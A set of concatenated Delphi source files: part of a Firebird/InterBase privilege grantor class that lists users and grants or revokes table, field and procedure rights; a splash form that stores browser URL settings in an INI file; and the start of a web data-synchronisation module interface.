FReferenceG := TStringList.Create;
FExecuteG := TStringList.Create;
FSelectGO := TStringList.Create;
FUpdateGO := TStringList.Create;
FDeleteGO := TStringList.Create;
FInsertGO := TStringList.Create;
FReferenceGO := TStringList.Create;
FExecuteGO := TStringList.Create;
vComponentClass := Designer.GetComponent(IibSHDatabase);
if Assigned(vComponentClass) then
begin
FIntDatabase := vComponentClass.Create(Self);
Supports(FIntDatabase, IibSHDatabase, FIntDatabaseIntf);
end;
end;
destructor TibSHDDLGrantor.Destroy;
begin
FUnionUsers.Free;
FAbsentUsers.Free;
FSelectG.Free;
FUpdateG.Free;
FDeleteG.Free;
FInsertG.Free;
FReferenceG.Free;
FExecuteG.Free;
FSelectGO.Free;
FUpdateGO.Free;
FDeleteGO.Free;
FInsertGO.Free;
FReferenceGO.Free;
FExecuteGO.Free;
FIntDatabaseIntf := nil;
FreeAndNil(FIntDatabase);
inherited Destroy;
end;
function TibSHDDLGrantor.GetPrivilegesFor: string;
begin
Result := FPrivilegesFor;
end;
procedure TibSHDDLGrantor.SetPrivilegesFor(Value: string);
var
vForm: IibSHDDLGrantorForm;
begin
if FPrivilegesFor <> Value then
begin
FPrivilegesFor := Value;
if GetComponentFormIntf(IibSHDDLGrantorForm, vForm) then
vForm.RefreshPrivilegesForTree;
end;
end;
function TibSHDDLGrantor.GetGrantsOn: string;
begin
Result := FGrantsOn;
end;
procedure TibSHDDLGrantor.SetGrantsOn(Value: string);
var
vForm: IibSHDDLGrantorForm;
begin
if FGrantsOn <> Value then
begin
FGrantsOn := Value;
if GetComponentFormIntf(IibSHDDLGrantorForm, vForm) then
vForm.RefreshGrantsOnTree;
if (FGrantsOn = GrantTypes[0]) or (FGrantsOn = GrantTypes[1]) then
begin
MakePropertyVisible('SystemTables');
MakePropertyVisible('TableFields');
end else
begin
MakePropertyInvisible('SystemTables');
MakePropertyInvisible('TableFields');
end;
Designer.UpdateObjectInspector;
end;
end;
function TibSHDDLGrantor.GetDisplay: string;
begin
Result := FDisplay;
end;
procedure TibSHDDLGrantor.SetDisplay(Value: string);
var
vForm: IibSHDDLGrantorForm;
begin
if FDisplay <> Value then
begin
FDisplay := Value;
if GetComponentFormIntf(IibSHDDLGrantorForm, vForm) then
vForm.RefreshGrantsOnTree;
end;
end;
function TibSHDDLGrantor.GetShowSystemTables: Boolean;
begin
Result := FShowSystemTables;
end;
procedure TibSHDDLGrantor.SetShowSystemTables(Value: Boolean);
var
vForm: IibSHDDLGrantorForm;
begin
if FShowSystemTables <> Value then
begin
FShowSystemTables := Value;
if (GrantsOn = GrantTypes[0]) or (GrantsOn = GrantTypes[1]) then
if GetComponentFormIntf(IibSHDDLGrantorForm, vForm) then
vForm.RefreshGrantsOnTree;
end;
end;
function TibSHDDLGrantor.GetIncludeFields: Boolean;
begin
Result := FIncludeFields;
end;
procedure TibSHDDLGrantor.SetIncludeFields(Value: Boolean);
var
vForm: IibSHDDLGrantorForm;
begin
if FIncludeFields <> Value then
begin
FIncludeFields := Value;
if (GrantsOn = GrantTypes[0]) or (GrantsOn = GrantTypes[1]) or (GrantsOn = GrantTypes[2]) then
if GetComponentFormIntf(IibSHDDLGrantorForm, vForm) then
vForm.RefreshGrantsOnTree;
end;
end;
procedure TibSHDDLGrantor.ClearLists;
begin
FSelectG.Clear;
FUpdateG.Clear;
FDeleteG.Clear;
FInsertG.Clear;
FReferenceG.Clear;
FExecuteG.Clear;
FSelectGO.Clear;
FUpdateGO.Clear;
FDeleteGO.Clear;
FInsertGO.Clear;
FReferenceGO.Clear;
FExecuteGO.Clear;
TStringList(FSelectG).Sorted := False;
TStringList(FUpdateG).Sorted := False;
TStringList(FDeleteG).Sorted := False;
TStringList(FInsertG).Sorted := False;
TStringList(FReferenceG).Sorted := False;
TStringList(FExecuteG).Sorted := False;
TStringList(FSelectGO).Sorted := False;
TStringList(FUpdateGO).Sorted := False;
TStringList(FDeleteGO).Sorted := False;
TStringList(FInsertGO).Sorted := False;
TStringList(FReferenceGO).Sorted := False;
TStringList(FExecuteGO).Sorted := False;
end;
procedure TibSHDDLGrantor.SortLists;
begin
TStringList(FSelectG).Sort;
TStringList(FUpdateG).Sort;
TStringList(FDeleteG).Sort;
TStringList(FInsertG).Sort;
TStringList(FReferenceG).Sort;
TStringList(FExecuteG).Sort;
TStringList(FSelectGO).Sort;
TStringList(FUpdateGO).Sort;
TStringList(FDeleteGO).Sort;
TStringList(FInsertGO).Sort;
TStringList(FReferenceGO).Sort;
TStringList(FExecuteGO).Sort;
end;
function TibSHDDLGrantor.GetUnionUsers: TStrings;
var
I: Integer;
DoSecurityConnect: Boolean;
begin
DoSecurityConnect := False;
if FUnionUsers.Count = 0 then
begin
if Assigned(BTCLDatabase) then
begin
if Assigned(FIntDatabaseIntf) then
begin
FIntDatabaseIntf.OwnerIID := BTCLDatabase.OwnerIID;
FIntDatabaseIntf.Database := BTCLDatabase.BTCLServer.SecurityDatabase;
FIntDatabaseIntf.StillConnect := True;
end;
if BTCLDatabase.BTCLServer.PrepareDRVService and BTCLDatabase.BTCLServer.DRVService.Attach(stSecurityService) then
begin
try
try
BTCLDatabase.BTCLServer.DRVService.DisplayUsers;
except
DoSecurityConnect := True;
end;
for I := 0 to Pred(BTCLDatabase.BTCLServer.DRVService.UserCount) do
FUnionUsers.Add(BTCLDatabase.BTCLServer.DRVService.GetUserName(I));
finally
BTCLDatabase.BTCLServer.DRVService.Detach;
end;
end else
DoSecurityConnect := True;
if DoSecurityConnect then
begin
try
if FIntDatabaseIntf.Connect then
if FIntDatabaseIntf.DRVQuery.ExecSQL(FormatSQL(SQL_GET_USERS_FROM_SECURITY), [], False) then
while not FIntDatabaseIntf.DRVQuery.Eof do
begin
FUnionUsers.Add(FIntDatabaseIntf.DRVQuery.GetFieldStrValue('USER_NAME'));
FIntDatabaseIntf.DRVQuery.Next;
end;
finally
FIntDatabaseIntf.DRVQuery.Transaction.Commit;
FIntDatabaseIntf.Disconnect;
end;
end;
if BTCLDatabase.DRVQuery.ExecSQL(FormatSQL(SQL_GET_USERS_FROM_PRIVILEGES), [], False) then
begin
while not BTCLDatabase.DRVQuery.Eof do
begin
if FUnionUsers.IndexOf(BTCLDatabase.DRVQuery.GetFieldStrValue('USER_NAME')) = - 1 then
begin
if FUnionUsers.IndexOf(BTCLDatabase.DRVQuery.GetFieldStrValue('USER_NAME')) = -1 then
begin
FUnionUsers.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('USER_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('USER_NAME') <> 'PUBLIC' then
FAbsentUsers.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('USER_NAME'));
end;
end;
BTCLDatabase.DRVQuery.Next;
end;
end;
BTCLDatabase.DRVQuery.Transaction.Commit;
end;
end;
TStringList(FUnionUsers).Sort;
TStringList(FAbsentUsers).Sort;
Result := FUnionUsers;
end;
function TibSHDDLGrantor.GetAbsentUsers: TStrings;
begin
Result := FAbsentUsers;
end;
procedure TibSHDDLGrantor.ExtractGrants(const AClassIID: TGUID; const ACaption: string);
var
SQL: string;
begin
SQL := EmptyStr;
ClearLists;
if IsEqualGUID(AClassIID, IibSHView) then SQL := FormatSQL(SQL_GET_GRANTS_ON_FOR_VIEW);
if IsEqualGUID(AClassIID, IibSHProcedure) then SQL := FormatSQL(SQL_GET_GRANTS_ON_FOR_PROCEDURE);
if IsEqualGUID(AClassIID, IibSHTrigger) then SQL := FormatSQL(SQL_GET_GRANTS_ON_FOR_TRIGGER);
if IsEqualGUID(AClassIID, IibSHRole) then SQL := FormatSQL(SQL_GET_GRANTS_ON_FOR_ROLE);
if IsEqualGUID(AClassIID, IibSHUser) then SQL := FormatSQL(SQL_GET_GRANTS_ON_FOR_USER);
if not Assigned(BTCLDatabase) or (Length(ACaption) = 0) or (Length(SQL) = 0) then Exit;
if BTCLDatabase.DRVQuery.ExecSQL(SQL, [ACaption], False) then
begin
while not BTCLDatabase.DRVQuery.Eof do
begin
if BTCLDatabase.DRVQuery.GetFieldIntValue('GRANT_OPTION') <> 1 then
begin
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'S' then
FSelectG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'U' then
if Length(BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')) > 0 then
FUpdateG.Add(Format('%s.%s', [BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'), BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')]))
else
FUpdateG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'D' then
FDeleteG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'I' then
FInsertG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'R' then
if Length(BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')) > 0 then
FReferenceG.Add(Format('%s.%s', [BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'), BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')]))
else
FReferenceG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'X' then
FExecuteG.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
end else
begin
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'S' then
FSelectGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'U' then
if Length(BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')) > 0 then
FUpdateGO.Add(Format('%s.%s', [BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'), BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')]))
else
FUpdateGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'D' then
FDeleteGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'I' then
FInsertGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'R' then
if Length(BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')) > 0 then
FReferenceGO.Add(Format('%s.%s', [BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'), BTCLDatabase.DRVQuery.GetFieldStrValue('FIELD_NAME')]))
else
FReferenceGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
if BTCLDatabase.DRVQuery.GetFieldStrValue('PRIVILEGE') = 'X' then
FExecuteGO.Add(BTCLDatabase.DRVQuery.GetFieldStrValue('OBJECT_NAME'));
end;
BTCLDatabase.DRVQuery.Next;
end;
end;
BTCLDatabase.DRVQuery.Transaction.Commit;
SortLists;
end;
function TibSHDDLGrantor.GetGrantSelectIndex(const ACaption: string): Integer;
begin
Result := -1;
if FSelectG.IndexOf(ACaption) <> -1 then Result := 0 else
if FSelectGO.IndexOf(ACaption) <> -1 then Result := 1;
end;
function TibSHDDLGrantor.GetGrantUpdateIndex(const ACaption: string): Integer;
begin
Result := -1;
if FUpdateG.IndexOf(ACaption) <> -1 then Result := 0 else
if FUpdateGO.IndexOf(ACaption) <> -1 then Result := 1;
end;
function TibSHDDLGrantor.GetGrantDeleteIndex(const ACaption: string): Integer;
begin
Result := -1;
if FDeleteG.IndexOf(ACaption) <> -1 then Result := 0 else
if FDeleteGO.IndexOf(ACaption) <> -1 then Result := 1;
end;
function TibSHDDLGrantor.GetGrantInsertIndex(const ACaption: string): Integer;
begin
Result := -1;
if FInsertG.IndexOf(ACaption) <> -1 then Result := 0 else
if FInsertGO.IndexOf(ACaption) <> -1 then Result := 1;
end;
function TibSHDDLGrantor.GetGrantReferenceIndex(const ACaption: string): Integer;
begin
Result := -1;
if FReferenceG.IndexOf(ACaption) <> -1 then Result := 0 else
if FReferenceGO.IndexOf(ACaption) <> -1 then Result := 1;
end;
function TibSHDDLGrantor.GetGrantExecuteIndex(const ACaption: string): Integer;
begin
Result := -1;
if FExecuteG.IndexOf(ACaption) <> -1 then Result := 0 else
if FExecuteGO.IndexOf(ACaption) <> -1 then Result := 1;
Result := Result;
end;
function TibSHDDLGrantor.IsGranted(const ACaption: string): Boolean;
begin
Result :=
(GetGrantSelectIndex(ACaption) <> -1) or
(GetGrantUpdateIndex(ACaption) <> -1) or
(GetGrantDeleteIndex(ACaption) <> -1) or
(GetGrantInsertIndex(ACaption) <> -1) or
(GetGrantReferenceIndex(ACaption) <> -1) or
(GetGrantExecuteIndex(ACaption) <> -1);
end;
function TibSHDDLGrantor.GetNormalizeName(const ACaption: string): string;
var
vCodeNormalizer: IibSHCodeNormalizer;
begin
Result := ACaption;
if Supports(Designer.GetDemon(IibSHCodeNormalizer), IibSHCodeNormalizer, vCodeNormalizer) then
Result := vCodeNormalizer.MetadataNameToSourceDDL(BTCLDatabase, Result);
end;
function TibSHDDLGrantor.GetPrivilegesForName(const AClassIID: TGUID; const ACaption: string): string;
begin
if IsEqualGUID(AClassIID, IibSHView) then Result := Format('VIEW %s', [GetNormalizeName(ACaption)]);
if IsEqualGUID(AClassIID, IibSHProcedure) then Result := Format('PROCEDURE %s', [GetNormalizeName(ACaption)]);
if IsEqualGUID(AClassIID, IibSHTrigger) then Result := Format('TRIGGER %s', [GetNormalizeName(ACaption)]);
if IsEqualGUID(AClassIID, IibSHRole) then Result := Format('%s', [GetNormalizeName(ACaption)]);
if IsEqualGUID(AClassIID, IibSHUser) then
begin
if AnsiSameText(ACaption, 'PUBLIC') then
Result := Format('PUBLIC', [])
else
Result := Format('USER %s', [GetNormalizeName(ACaption)]);
end;
end;
function TibSHDDLGrantor.GrantTable(const AClassIID: TGUID; const Privilege, OnObject, ToObject: string; WGO: Boolean): Boolean;
var
S1, S2, SQL: string;
I: Integer;
begin
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, ToObject);
if not WGO then SQL := FormatSQL(SQL_GRANT_TABLE) else SQL := FormatSQL(SQL_GRANT_TABLE_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [Privilege, S1, S2]), [], True);
if Result then
begin
if not WGO then
begin
if AnsiUpperCase(Privilege) = 'SELECT' then
begin
I := FSelectG.IndexOf(OnObject);
if I = -1 then FSelectG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(OnObject);
if I = -1 then FUpdateG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'DELETE' then
begin
I := FDeleteG.IndexOf(OnObject);
if I = -1 then FDeleteG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'INSERT' then
begin
I := FInsertG.IndexOf(OnObject);
if I = -1 then FInsertG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(OnObject);
if I = -1 then FReferenceG.Add(OnObject);
end;
end else
begin
if AnsiUpperCase(Privilege) = 'SELECT' then
begin
I := FSelectGO.IndexOf(OnObject);
if I = -1 then FSelectGO.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateGO.IndexOf(OnObject);
if I = -1 then FUpdateGO.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'DELETE' then
begin
I := FDeleteGO.IndexOf(OnObject);
if I = -1 then FDeleteGO.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'INSERT' then
begin
I := FInsertGO.IndexOf(OnObject);
if I = -1 then FInsertGO.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceGO.IndexOf(OnObject);
if I = -1 then FReferenceGO.Add(OnObject);
end;
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
function TibSHDDLGrantor.GrantTableField(const AClassIID: TGUID; const Privilege, OnField, OnObject, ToObject: string; WGO: Boolean): Boolean;
var
S0, S1, S2, SQL: string;
I: Integer;
begin
S0 := GetNormalizeName(OnField);
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, ToObject);
if not WGO then SQL := FormatSQL(SQL_GRANT_TABLE_FIELD) else SQL := FormatSQL(SQL_GRANT_TABLE_FIELD_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [Privilege, S0, S1, S2]), [], True);
if Result then
begin
if not WGO then
begin
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FUpdateG.Add(Format('%s.%s', [OnObject, OnField]));
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FReferenceG.Add(Format('%s.%s', [OnObject, OnField]));
end;
end else
begin
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateGO.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FUpdateGO.Add(Format('%s.%s', [OnObject, OnField]));
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceGO.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FReferenceGO.Add(Format('%s.%s', [OnObject, OnField]));
end;
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
function TibSHDDLGrantor.GrantProcedure(const AClassIID: TGUID; const OnObject, ToObject: string; WGO: Boolean): Boolean;
var
S1, S2, SQL: string;
I: Integer;
begin
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, ToObject);
if not WGO then SQL := FormatSQL(SQL_GRANT_PROCEDURE) else SQL := FormatSQL(SQL_GRANT_PROCEDURE_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [S1, S2]), [], True);
if Result then
begin
if not WGO then
begin
I := FExecuteG.IndexOf(OnObject);
if I = -1 then FExecuteG.Add(OnObject);
end else
begin
I := FExecuteGO.IndexOf(OnObject);
if I = -1 then FExecuteGO.Add(OnObject);
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
function TibSHDDLGrantor.RevokeTable(const AClassIID: TGUID; const Privilege, OnObject, FromObject: string; WGO: Boolean): Boolean;
var
S1, S2, SQL: string;
I: Integer;
begin
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, FromObject);
if not WGO then SQL := FormatSQL(SQL_REVOKE_TABLE) else SQL := FormatSQL(SQL_REVOKE_TABLE_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [Privilege, S1, S2]), [], True);
if Result then
begin
if AnsiUpperCase(Privilege) = 'SELECT' then
begin
I := FSelectG.IndexOf(OnObject);
if I <> -1 then FSelectG.Delete(I);
I := FSelectGO.IndexOf(OnObject);
if I <> -1 then FSelectGO.Delete(I);
end;
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(OnObject);
if I <> -1 then FUpdateG.Delete(I);
I := FUpdateGO.IndexOf(OnObject);
if I <> -1 then FUpdateGO.Delete(I);
end;
if AnsiUpperCase(Privilege) = 'DELETE' then
begin
I := FDeleteG.IndexOf(OnObject);
if I <> -1 then FDeleteG.Delete(I);
I := FDeleteGO.IndexOf(OnObject);
if I <> -1 then FDeleteGO.Delete(I);
end;
if AnsiUpperCase(Privilege) = 'INSERT' then
begin
I := FInsertG.IndexOf(OnObject);
if I <> -1 then FInsertG.Delete(I);
I := FInsertGO.IndexOf(OnObject);
if I <> -1 then FInsertGO.Delete(I);
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(OnObject);
if I <> -1 then FReferenceG.Delete(I);
I := FReferenceGO.IndexOf(OnObject);
if I <> -1 then FReferenceGO.Delete(I);
end;
if WGO then
begin
if AnsiUpperCase(Privilege) = 'SELECT' then
begin
I := FSelectG.IndexOf(OnObject);
if I = -1 then FSelectG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(OnObject);
if I = -1 then FUpdateG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'DELETE' then
begin
I := FDeleteG.IndexOf(OnObject);
if I = -1 then FDeleteG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'INSERT' then
begin
I := FInsertG.IndexOf(OnObject);
if I = -1 then FInsertG.Add(OnObject);
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(OnObject);
if I = -1 then FReferenceG.Add(OnObject);
end;
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
function TibSHDDLGrantor.RevokeTableField(const AClassIID: TGUID; const Privilege, OnField, OnObject, FromObject: string; WGO: Boolean): Boolean;
var
S0, S1, S2, SQL: string;
I: Integer;
begin
S0 := GetNormalizeName(OnField);
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, FromObject);
if not WGO then SQL := FormatSQL(SQL_REVOKE_TABLE_FIELD) else SQL := FormatSQL(SQL_REVOKE_TABLE_FIELD_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [Privilege, S0, S1, S2]), [], True);
if Result then
begin
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I <> -1 then FUpdateG.Delete(I);
I := FUpdateGO.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I <> -1 then FUpdateGO.Delete(I);
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I <> -1 then FReferenceG.Delete(I);
I := FReferenceGO.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I <> -1 then FReferenceGO.Delete(I);
end;
if WGO then
begin
if AnsiUpperCase(Privilege) = 'UPDATE' then
begin
I := FUpdateG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FUpdateG.Add(Format('%s.%s', [OnObject, OnField]));
end;
if AnsiUpperCase(Privilege) = 'REFERENCES' then
begin
I := FReferenceG.IndexOf(Format('%s.%s', [OnObject, OnField]));
if I = -1 then FReferenceG.Add(Format('%s.%s', [OnObject, OnField]));
end;
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
function TibSHDDLGrantor.RevokeProcedure(const AClassIID: TGUID; const OnObject, FromObject: string; WGO: Boolean): Boolean;
var
S1, S2, SQL: string;
I: Integer;
begin
S1 := GetNormalizeName(OnObject);
S2 := GetPrivilegesForName(AClassIID, FromObject);
if not WGO then SQL := FormatSQL(SQL_REVOKE_PROCEDURE) else SQL := FormatSQL(SQL_REVOKE_PROCEDURE_WGO);
try
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRWriteParams;
Result := BTCLDatabase.DRVQuery.ExecSQL(Format(SQL, [S1, S2]), [], True);
if Result then
begin
I := FExecuteG.IndexOf(OnObject);
if I <> -1 then FExecuteG.Delete(I);
I := FExecuteGO.IndexOf(OnObject);
if I <> -1 then FExecuteGO.Delete(I);
if WGO then
begin
I := FExecuteG.IndexOf(OnObject);
if I = -1 then FExecuteG.Add(OnObject);
end;
end;
finally
BTCLDatabase.DRVQuery.Transaction.Params.Text := TRReadParams;
end;
end;
initialization
Register;
end.
|
unit SplashFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, IniFiles;
type
TSplashForm = class(TForm)
Img_Splash: TImage;
Setting_Page: TGroupBox;
Label1: TLabel;
Edt_Page_Login: TEdit;
Label2: TLabel;
Edt_Page_Portal: TEdit;
Label_About: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Img_SplashClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
SplashForm: TSplashForm;
Monolith_ini:TiniFile;
implementation
uses MainFrm;
{$R *.dfm}
procedure TSplashForm.FormCreate(Sender: TObject);
begin
//初始化设置
Setting_Page.Hide;
Monolith_ini:=TIniFile.Create(ExtractFilePath(Application.ExeName)+'Monolith_ini.ini');
Try
Edt_Page_Login.Text := Monolith_ini.ReadString('浏览器参数设置', 'Page_Login', 'http://zerolone/manage/login.asp');
Edt_Page_Portal.Text := Monolith_ini.ReadString('浏览器参数设置', 'Page_Portal', 'http://zerolone/');
Except
ShowMessage('未找到'+ExtractFilePath(Application.ExeName)+'Monolith_ini.ini文件,系统使用默认设置。');
End;
end;
procedure TSplashForm.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
CanClose:=False;
Monolith_ini.WriteString('浏览器参数设置', 'Page_Login', Edt_Page_Login.Text);
Monolith_ini.WriteString('浏览器参数设置', 'Page_Portal', Edt_Page_Portal.Text);
MainForm.Visible := True;
CanClose:=True;
end;
procedure TSplashForm.Img_SplashClick(Sender: TObject);
begin
SplashForm.Close;
end;
end.
|
unit DIntegradorModuloWeb;
interface
uses
SysUtils, ExtCtrls, DBClient, idHTTP, MSXML2_TLB, dialogs, acStrUtils, acNetUtils,
DB, IdMultipartFormData, IdBaseComponent, IdComponent, IdTCPConnection, forms,
IdTCPClient, IdCoder, IdCoder3to4, IdCoderUUE, IdCoderXXE, Controls,
IDataPrincipalUnit, idURI, System.Classes, Windows,
ISincronizacaoNotifierUnit, Data.SqlExpr,
Xml.XMLIntf, Winapi.ActiveX, XML.XMLDoc;
type
EIntegradorException = class(Exception)
end;
TDMLOperation = (dmInsert, dmUpdate);
THttpAction = (haGet, haPost);
TParamsType = (ptParam, ptJSON);
TNameTranslation = record
server: string;
pdv: string;
lookupRemoteTable: string;
fkName: string;
end;
TTranslationSet = class
protected
translations: array of TNameTranslation;
public
constructor create(owner: TComponent);
procedure add(serverName, pdvName: string;
lookupRemoteTable: string = ''; fkName: string = '');
function translateServerToPDV(serverName: string; duasVias: boolean): string;
function translatePDVToServer(pdvName: string): string;
function size: integer;
function get(index: integer): TNameTranslation;
procedure clear;
end;
TTabelaDependente = record
nomeTabela: string;
nomeFK: string;
end;
TTabelaDetalhe = class
public
nomeTabela: string;
nomeFK: string;
nomePK: string;
nomeParametro: string;
nomeSingularDetalhe : string;
nomePluralDetalhe : string;
tabelasDetalhe: array of TTabelaDetalhe;
translations: TTranslationSet;
constructor create;
end;
TDataIntegradorModuloWeb = class(TDataModule)
procedure DataModuleCreate(Sender: TObject);
private
FdmPrincipal: IDataPrincipal;
Fnotifier: ISincronizacaoNotifier;
FthreadControl: IThreadControl;
FCustomParams: ICustomParams;
FstopOnPostRecordError: boolean;
procedure SetdmPrincipal(const Value: IDataPrincipal);
function getdmPrincipal: IDataPrincipal;
procedure addTabelaDetalheParams(valorPK: integer;
params: TStringList;
tabelaDetalhe: TTabelaDetalhe);
function GetErrorMessage(const aXML: string): string;
procedure SetDataLog(const Value: ILog);
procedure UpdateRecordDetalhe(pNode: IXMLDomNode; pTabelasDetalhe : array of TTabelaDetalhe);
procedure SetthreadControl(const Value: IThreadControl);
procedure OnWorkHandler(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64);
protected
FDataLog: ILog;
nomeTabela: string;
nomeSingular: string;
nomePlural: string;
nomePKLocal: string;
nomePKRemoto: string;
nomeGenerator: string;
usePKLocalMethod: Boolean;
duasVias: boolean;
useMultipartParams: boolean;
clientToServer: boolean;
tabelasDependentes: array of TTabelaDependente;
tabelasDetalhe: array of TTabelaDetalhe;
offset: integer;
paramsType: TParamsType;
function getVersionFieldName: string; virtual;
procedure Log(const aLog: string; aClasse: string = ''); virtual;
function extraGetUrlParams: String; virtual;
procedure beforeRedirectRecord(idAntigo, idNovo: integer); virtual;
function ultimaVersao: integer; virtual;
function getRequestUrlForAction(toSave: boolean; versao: integer = -1): string; virtual;
procedure importRecord(node: IXMLDomNode);
procedure insertRecord(const aInsertStatement: string);
procedure updateRecord(const aUpdateStatement: string; const id: integer);
function jaExiste(id: integer): boolean;
function getFieldList(node: IXMLDomNode): string;
function getFieldUpdateList(node: IXMLDomNode): string;
function getFieldValues(node: IXMLDomNode): string;
function translateFieldValue(node: IXMLDomNode): string; virtual;
function translateFieldNamePdvToServer(node: IXMLDomNode): string;
function translateFieldNameServerToPdv(node: IXMLDomNode): string; virtual;
function translateTypeValue(fieldType, fieldValue: string): string;
function translateValueToServer(translation: TNameTranslation;
fieldName: string; field: TField;
